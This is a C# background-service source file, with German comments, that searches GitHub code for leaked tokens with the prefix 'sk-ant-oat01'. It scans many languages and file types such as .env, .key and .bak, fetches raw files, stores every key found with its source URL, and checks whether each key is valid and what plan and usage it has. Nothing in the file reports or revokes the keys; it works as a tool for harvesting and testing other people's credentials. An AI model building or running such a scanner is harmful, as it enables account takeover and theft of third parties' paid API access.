gott/Services/KeyScannerService.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text.Json;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using Gott.Models;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;

namespace Gott.Services;

public class KeyScannerService : BackgroundService
{
    private readonly DatabaseService _db;
    private readonly IHttpClientFactory _httpFactory;
    private readonly ILogger<KeyScannerService> _logger;
    private readonly string _githubToken;
    private readonly int _intervalHours;

    // Status-Tracking
    private readonly object _lock = new();
    private bool _isRunning;
    private string _lastRun;
    private string _lastResult;
    private readonly ManualResetEventSlim _triggerNow = new(false);

    public bool IsRunning { get { lock (_lock) return _isRunning; } }
    public string LastRun { get { lock (_lock) return _lastRun; } }
    public string LastResult { get { lock (_lock) return _lastResult; } }

    // ── GitHub Search Config ──

    private static readonly (string Pattern, string SearchTerm)[] KeyPatterns =
    {
        (@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
    };

    private static readonly string[] SearchLanguages =
    {
        "Dotenv", "Text", "JavaScript", "Python", "TypeScript",
        "Dockerfile", "Markdown", "Jupyter Notebook", "Shell",
        "Java", "Go", "C++", "PHP"
    };

    private static readonly string[] PathExtensions =
    {
        ".env", ".envrc", ".prod", ".secret", ".private", ".key",
        ".xml", ".json", ".properties", ".sql", ".txt", ".log",
        ".yml", ".yaml", ".toml", ".ini", ".config", ".conf", ".cfg",
        ".tmp", ".backup", ".bak", ".enc",
    };

    private const int RateLimitDelayMs = 6_500;
    private const int MaxResultsPerSearch = 1000;
    private const int ResultsPerPage = 100;

    public KeyScannerService(
        DatabaseService db,
        IHttpClientFactory httpFactory,
        IConfiguration config,
        ILogger<KeyScannerService> logger)
    {
        _db = db;
        _httpFactory = httpFactory;
        _logger = logger;
        _githubToken = config["GitHubToken"] ?? "";
        _intervalHours = config.GetValue<int>("ScanIntervalHours", 0);
    }

    protected override async Task ExecuteAsync(CancellationToken stoppingToken)
    {
        if (string.IsNullOrWhiteSpace(_githubToken))
        {
            _logger.LogInformation("KeyScannerService deaktiviert (kein GitHubToken konfiguriert)");
            // Warte trotzdem auf manuelles Trigger-Signal
            await WaitForTriggerOnly(stoppingToken);
            return;
        }

        if (_intervalHours <= 0)
        {
            _logger.LogInformation("KeyScannerService: Kein Intervall konfiguriert, nur manueller Trigger aktiv");
            await WaitForTriggerOnly(stoppingToken);
            return;
        }

        _logger.LogInformation("KeyScannerService gestartet (Intervall: {Hours}h)", _intervalHours);

        while (!stoppingToken.IsCancellationRequested)
        {
            await RunScan(stoppingToken);

            // Warte auf Intervall oder manuelles Signal
            var waitResult = await WaitWithTrigger(TimeSpan.FromHours(_intervalHours), stoppingToken);
            if (waitResult) _logger.LogInformation("KeyScannerService: Manueller Scan angefordert");
        }
    }

    /// <summary>Wartet nur auf manuelles Trigger-Signal (kein automatisches Intervall).</summary>
    private async Task WaitForTriggerOnly(CancellationToken stoppingToken)
    {
        while (!stoppingToken.IsCancellationRequested)
        {
            await WaitWithTrigger(Timeout.InfiniteTimeSpan, stoppingToken);
            if (!stoppingToken.IsCancellationRequested)
                await RunScan(stoppingToken);
        }
    }

    /// <summary>Wartet auf Timeout oder Trigger-Signal. Gibt true zurück wenn getriggert.</summary>
    private Task<bool> WaitWithTrigger(TimeSpan timeout, CancellationToken ct)
    {
        return Task.Run(() =>
        {
            _triggerNow.Reset();
            var waitHandles = new[] { _triggerNow.WaitHandle, ct.WaitHandle };
            var idx = WaitHandle.WaitAny(waitHandles, timeout);
            return idx == 0; // true = triggered
        }, ct);
    }

    /// <summary>Wird vom Endpoint aufgerufen um einen sofortigen Scan auszulösen.</summary>
    public void TriggerScan()
    {
        _triggerNow.Set();
    }

    private async Task RunScan(CancellationToken ct)
    {
        lock (_lock)
        {
            if (_isRunning) return;
            _isRunning = true;
        }

        _logger.LogInformation("KeyScannerService: Scan gestartet");
        var newKeysFound = 0;
        var checkedCount = 0;

        try
        {
            // Phase 1: GitHub-Suche
            var foundKeys = await ScanGitHub(ct);
            _logger.LogInformation("GitHub-Scan abgeschlossen: {Count} Key(s) gefunden", foundKeys.Count);

            // Phase 2: Neue Keys in DB speichern (nur die, die wir noch nicht kennen)
            var newEntries = new List<(string Key, string Url)>();
            foreach (var (key, sourceUrl) in foundKeys)
            {
                if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
                    continue;

                newEntries.Add((key, sourceUrl));
                await _db.CreateScannedKey(new ScannedKeyRecord
                {
                    ScannedKeyId = Guid.NewGuid().ToString("N"),
                    ApiKey = key,
                    SourceUrl = sourceUrl,
                    Status = "unchecked",
                    Plan = "Unknown",
                    ScannedAt = DateTime.UtcNow.ToString("o")
                });
            }
            newKeysFound = newEntries.Count;
            _logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound);

            // Phase 3: Alle unchecked Keys prüfen
            var allScanned = (await _db.GetScannedKeys()).ToList();
            var toCheck = allScanned.Where(k => k.Status == "unchecked").ToList();
            foreach (var sk in toCheck)
            {
                ct.ThrowIfCancellationRequested();
                await CheckAndUpdateKey(sk);
                checkedCount++;
                await Task.Delay(500, ct); // Rate-Limit schonen
            }

            lock (_lock)
            {
                _lastRun = DateTime.UtcNow.ToString("o");
                _lastResult = $"{foundKeys.Count} gefunden, {newKeysFound} neu, {checkedCount} geprüft";
            }

            _logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult);
        }
        catch (OperationCanceledException) { /* shutdown */ }
        catch (Exception ex)
        {
            _logger.LogError(ex, "KeyScannerService: Fehler beim Scan");
            lock (_lock)
            {
                _lastRun = DateTime.UtcNow.ToString("o");
                _lastResult = $"Fehler: {ex.Message}";
            }
        }
        finally
        {
            lock (_lock) _isRunning = false;
        }
    }

    // ── GitHub Code Search (portiert aus ExampleScannerProject) ──

    private async Task<List<(string Key, string Url)>> ScanGitHub(CancellationToken ct)
    {
        var allKeys = new Dictionary<string, string>(StringComparer.Ordinal); // Key → erste URL
        var queries = BuildSearchQueries();

        var client = _httpFactory.CreateClient();
        client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottKeyScanner", "1.0"));
        client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
        client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
        client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
        client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.text-match+json"));

        for (int i = 0; i < queries.Count; i++)
        {
            ct.ThrowIfCancellationRequested();
            var (query, regex) = queries[i];

            try
            {
                var results = await SearchCodeAsync(client, query, regex, ct);
                foreach (var (key, url) in results)
                    if (!allKeys.ContainsKey(key)) allKeys[key] = url;
            }
            catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
            {
                _logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ...");
                await Task.Delay(60_000, ct);
                try
                {
                    var results = await SearchCodeAsync(client, query, regex, ct);
                    foreach (var (key, url) in results)
                        if (!allKeys.ContainsKey(key)) allKeys[key] = url;
                }
                catch (Exception retryEx)
                {
                    _logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message);
                }
            }
            catch (Exception ex)
            {
                _logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message);
            }
        }

        return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
    }

    private static async Task<List<(string Key, string Url)>> SearchCodeAsync(HttpClient client, string query, Regex regex, CancellationToken ct)
    {
        var keys = new List<(string Key, string Url)>();
        int page = 1;
        int maxPages = MaxResultsPerSearch / ResultsPerPage;

        while (page <= maxPages)
        {
            ct.ThrowIfCancellationRequested();
            var url = $"https://api.github.com/search/code?q={Uri.EscapeDataString(query)}&per_page={ResultsPerPage}&page={page}";
            await Task.Delay(RateLimitDelayMs, ct);

            var resp = await client.GetAsync(url, ct);
            if (resp.StatusCode == System.Net.HttpStatusCode.UnprocessableEntity) break;
            resp.EnsureSuccessStatusCode();

            var json = await resp.Content.ReadAsStringAsync(ct);
            var doc = JsonDocument.Parse(json);
            var root = doc.RootElement;
            var totalCount = root.GetProperty("total_count").GetInt32();

            if (!root.TryGetProperty("items", out var items)) break;

            foreach (var item in items.EnumerateArray())
            {
                var htmlUrl = BuildHtmlUrl(item);

                if (item.TryGetProperty("text_matches", out var textMatches))
                {
                    foreach (var tm in textMatches.EnumerateArray())
                    {
                        if (tm.TryGetProperty("fragment", out var frag))
                        {
                            var matches = regex.Matches(frag.GetString() ?? "");
                            foreach (Match m in matches) keys.Add((m.Value, htmlUrl));
                        }
                    }
                }

                // Kein text_match → Raw-File fetchen
                var hasMatches = item.TryGetProperty("text_matches", out var tm2) && tm2.EnumerateArray().Any();
                if (!hasMatches)
                {
                    var rawKeys = await TryFetchRawFileKeysAsync(client, item, regex, ct);
                    foreach (var k in rawKeys) keys.Add((k, htmlUrl));
                }
            }

            if (items.GetArrayLength() < ResultsPerPage || page * ResultsPerPage >= totalCount) break;
            page++;
        }

        return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
    }

    /// <summary>Baut die GitHub HTML-URL aus einem Search-API-Item.</summary>
    private static string BuildHtmlUrl(JsonElement item)
    {
        if (item.TryGetProperty("html_url", out var htmlUrl))
            return htmlUrl.GetString() ?? "";

        // Fallback: aus repository.full_name + path zusammenbauen
        if (item.TryGetProperty("repository", out var repo) &&
            repo.TryGetProperty("full_name", out var fullName) &&
            item.TryGetProperty("path", out var path))
            return $"https://github.com/{fullName.GetString()}/blob/HEAD/{path.GetString()}";

        return "";
    }

    private static async Task<List<string>> TryFetchRawFileKeysAsync(HttpClient client, JsonElement item, Regex regex, CancellationToken ct)
    {
        var keys = new List<string>();
        try
        {
            if (!item.TryGetProperty("repository", out var repo) ||
                !repo.TryGetProperty("full_name", out var fullName) ||
                !item.TryGetProperty("path", out var path))
                return keys;

            var contentsUrl = $"https://api.github.com/repos/{fullName.GetString()}/contents/{path.GetString()}";
            var request = new HttpRequestMessage(HttpMethod.Get, contentsUrl);
            request.Headers.Accept.Clear();
            request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.raw+json"));

            await Task.Delay(500, ct);
            var resp = await client.SendAsync(request, ct);
            if (!resp.IsSuccessStatusCode) return keys;

            var content = await resp.Content.ReadAsStringAsync(ct);
            var matches = regex.Matches(content);
            foreach (Match m in matches) keys.Add(m.Value);
        }
        catch { /* Datei nicht lesbar – ignorieren */ }
        return keys;
    }

    private static List<(string Query, Regex Regex)> BuildSearchQueries()
    {
        var queries = new List<(string, Regex)>();
        foreach (var (pattern, searchTerm) in KeyPatterns)
        {
            var regex = new Regex(pattern, RegexOptions.Compiled);
            foreach (var lang in SearchLanguages)
            {
                var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
                queries.Add(($"{searchTerm} {langFilter}", regex));
            }
            
            foreach (var pathExt in PathExtensions)
            {
                queries.Add(($"{searchTerm} path:{pathExt}", regex));
            }
        }
        return queries;
    }

    // ── Anthropic Key Check (via shared AnthropicKeyChecker) ──

    public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
    {
        try
        {
            var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
            var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
            await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
        }
        catch (Exception ex)
        {
            _logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message);
            await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
        }
    }
}